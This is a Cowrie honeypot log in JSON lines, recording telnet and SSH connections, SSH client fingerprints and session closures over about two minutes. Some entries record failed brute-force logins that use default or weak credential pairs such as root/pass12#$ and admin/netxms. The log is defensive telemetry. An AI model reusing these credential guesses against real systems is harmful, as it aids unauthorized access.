{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49668,"dst_ip":"159.203.135.109","dst_port":23,"session":"131bacc50d91","protocol":"telnet","message":"New connection: 174.138.46.234:49668 (159.203.135.109:23) [session: 131bacc50d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:36.589591Z"}
{"eventid":"cowrie.session.closed","duration":31.319576501846313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:37.024600Z","src_ip":"188.95.113.134","session":"eaecd3c4ec09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9404726028442383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:37.300049Z","src_ip":"174.138.46.234","session":"4d96c0b68c8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06925129890442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:37.475899Z","src_ip":"188.95.113.134","session":"a6d8845a217a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.240656852722168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:38.076791Z","src_ip":"188.95.113.134","session":"ec888cfe12dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":49560,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc52ebe3624c","protocol":"telnet","message":"New connection: 188.95.113.134:49560 (159.203.135.109:23) [session: fc52ebe3624c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:38.695092Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50332,"dst_ip":"159.203.135.109","dst_port":23,"session":"8221b991c3bf","protocol":"telnet","message":"New connection: 174.138.46.234:50332 (159.203.135.109:23) [session: 8221b991c3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:38.782748Z"}
{"eventid":"cowrie.session.closed","duration":5.841110467910767,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:38.794571Z","src_ip":"174.138.46.234","session":"48be8bba1f43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.92801570892334,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:39.954926Z","src_ip":"174.138.46.234","session":"1afbe0c7211f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20613932609558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:40.311616Z","src_ip":"188.95.113.134","session":"bdf8bcc7e454","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.330651998519897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:40.409189Z","src_ip":"188.95.113.134","session":"66bac2cc152b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.855728626251221,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:42.445200Z","src_ip":"174.138.46.234","session":"131bacc50d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9078257083892822,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:42.690485Z","src_ip":"174.138.46.234","session":"8221b991c3bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":60772,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ba0a3ab3dde","protocol":"telnet","message":"New connection: 188.95.113.134:60772 (159.203.135.109:23) [session: 2ba0a3ab3dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:46.179119Z"}
{"eventid":"cowrie.session.closed","duration":30.824617385864258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:47.114419Z","src_ip":"188.95.113.134","session":"d3efb766a8bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":60778,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d39a089fa9c","protocol":"telnet","message":"New connection: 188.95.113.134:60778 (159.203.135.109:23) [session: 0d39a089fa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:48.039187Z"}
{"eventid":"cowrie.session.closed","duration":31.311925888061523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:48.616703Z","src_ip":"188.95.113.134","session":"27592396338a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":56546,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b7b3c502bb2","protocol":"ssh","message":"New connection: 59.17.95.129:56546 (10.17.0.5:22) [session: 3b7b3c502bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:52.465943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:52.470623Z","src_ip":"59.17.95.129","session":"3b7b3c502bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:52.669562Z","src_ip":"59.17.95.129","session":"3b7b3c502bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"ts123","message":"login attempt [teamspeak/ts123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:53.497399Z","src_ip":"59.17.95.129","session":"3b7b3c502bb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc3b0d27014","protocol":"telnet","message":"New connection: 188.95.113.134:59018 (159.203.135.109:23) [session: 3cc3b0d27014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:54.667615Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:54.699891Z","src_ip":"59.17.95.129","session":"3b7b3c502bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.432003498077393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:55.470778Z","src_ip":"188.95.113.134","session":"8e4c98078c2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32748794555664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:56.797701Z","src_ip":"188.95.113.134","session":"965c68f3dae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25356698036194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:58.150482Z","src_ip":"188.95.113.134","session":"b0d6896fdeb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":59026,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3d22f3167e","protocol":"telnet","message":"New connection: 188.95.113.134:59026 (159.203.135.109:23) [session: 0b3d22f3167e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:59.072306Z"}
{"eventid":"cowrie.session.closed","duration":30.81008291244507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:02.401938Z","src_ip":"188.95.113.134","session":"a99b644ee69e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.651506423950195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:05.095490Z","src_ip":"188.95.113.134","session":"9d5ddd55ab1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.119.90.14","src_port":32930,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ff13f7869b","protocol":"telnet","message":"New connection: 185.119.90.14:32930 (10.17.0.5:23) [session: 69ff13f7869b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:05.307213Z"}
{"eventid":"cowrie.session.closed","duration":30.93268060684204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:09.627644Z","src_ip":"188.95.113.134","session":"fc52ebe3624c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":44398,"dst_ip":"159.203.135.109","dst_port":23,"session":"20fa03703ae6","protocol":"telnet","message":"New connection: 188.95.113.134:44398 (159.203.135.109:23) [session: 20fa03703ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:10.772823Z"}
{"eventid":"cowrie.session.closed","duration":30.89406681060791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:17.073071Z","src_ip":"188.95.113.134","session":"2ba0a3ab3dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.671895265579224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:19.710961Z","src_ip":"188.95.113.134","session":"0d39a089fa9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":40910,"dst_ip":"159.203.135.109","dst_port":22,"session":"32bd44bc02cb","protocol":"ssh","message":"New connection: 209.38.20.25:40910 (159.203.135.109:22) [session: 32bd44bc02cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:19.913893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:19.920197Z","src_ip":"209.38.20.25","session":"32bd44bc02cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:20.133079Z","src_ip":"209.38.20.25","session":"32bd44bc02cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"netxms","message":"login attempt [admin/netxms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:21.015182Z","src_ip":"209.38.20.25","session":"32bd44bc02cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":58828,"dst_ip":"159.203.135.109","dst_port":23,"session":"27267567df2c","protocol":"telnet","message":"New connection: 188.95.113.134:58828 (159.203.135.109:23) [session: 27267567df2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:21.192629Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:22.230296Z","src_ip":"209.38.20.25","session":"32bd44bc02cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":32780,"dst_ip":"159.203.135.109","dst_port":23,"session":"37b7c981c61c","protocol":"telnet","message":"New connection: 188.95.113.134:32780 (159.203.135.109:23) [session: 37b7c981c61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:24.667034Z"}
{"eventid":"cowrie.session.closed","duration":30.405985593795776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:25.073459Z","src_ip":"188.95.113.134","session":"3cc3b0d27014","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":32786,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9995d92bf4b","protocol":"telnet","message":"New connection: 188.95.113.134:32786 (159.203.135.109:23) [session: f9995d92bf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:27.600008Z"}
{"eventid":"cowrie.session.closed","duration":31.137990474700928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:30.210100Z","src_ip":"188.95.113.134","session":"0b3d22f3167e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":35162,"dst_ip":"159.203.135.109","dst_port":23,"session":"51867c1e8ec5","protocol":"telnet","message":"New connection: 188.95.113.134:35162 (159.203.135.109:23) [session: 51867c1e8ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:32.305261Z"}
{"eventid":"cowrie.session.closed","duration":30.80157208442688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:36.108623Z","src_ip":"185.119.90.14","session":"69ff13f7869b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41405701637268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:41.186762Z","src_ip":"188.95.113.134","session":"20fa03703ae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":35164,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd21f9cc6427","protocol":"telnet","message":"New connection: 188.95.113.134:35164 (159.203.135.109:23) [session: dd21f9cc6427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:41.726612Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":52756,"dst_ip":"10.17.0.5","dst_port":22,"session":"73cfb1fc659d","protocol":"ssh","message":"New connection: 59.17.95.129:52756 (10.17.0.5:22) [session: 73cfb1fc659d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:46.542291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:46.547446Z","src_ip":"59.17.95.129","session":"73cfb1fc659d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:46.750029Z","src_ip":"59.17.95.129","session":"73cfb1fc659d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass12#$","message":"login attempt [root/pass12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:47.589927Z","src_ip":"59.17.95.129","session":"73cfb1fc659d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:48.806282Z","src_ip":"59.17.95.129","session":"73cfb1fc659d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.109543561935425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:52.301988Z","src_ip":"188.95.113.134","session":"27267567df2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260584354400635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:55.927510Z","src_ip":"188.95.113.134","session":"37b7c981c61c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560484409332275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:00:58.160364Z","src_ip":"188.95.113.134","session":"f9995d92bf4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770292043685913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:03.075445Z","src_ip":"188.95.113.134","session":"51867c1e8ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354724407196045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:12.081228Z","src_ip":"188.95.113.134","session":"dd21f9cc6427","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":43874,"dst_ip":"159.203.135.109","dst_port":22,"session":"09fe05dbcf14","protocol":"ssh","message":"New connection: 209.38.20.25:43874 (159.203.135.109:22) [session: 09fe05dbcf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:14.409717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:14.414320Z","src_ip":"209.38.20.25","session":"09fe05dbcf14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:14.625685Z","src_ip":"209.38.20.25","session":"09fe05dbcf14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:15.504131Z","src_ip":"209.38.20.25","session":"09fe05dbcf14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:16.718401Z","src_ip":"209.38.20.25","session":"09fe05dbcf14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50972,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ae733896dd8","protocol":"telnet","message":"New connection: 174.138.46.234:50972 (159.203.135.109:23) [session: 7ae733896dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:21.966443Z"}
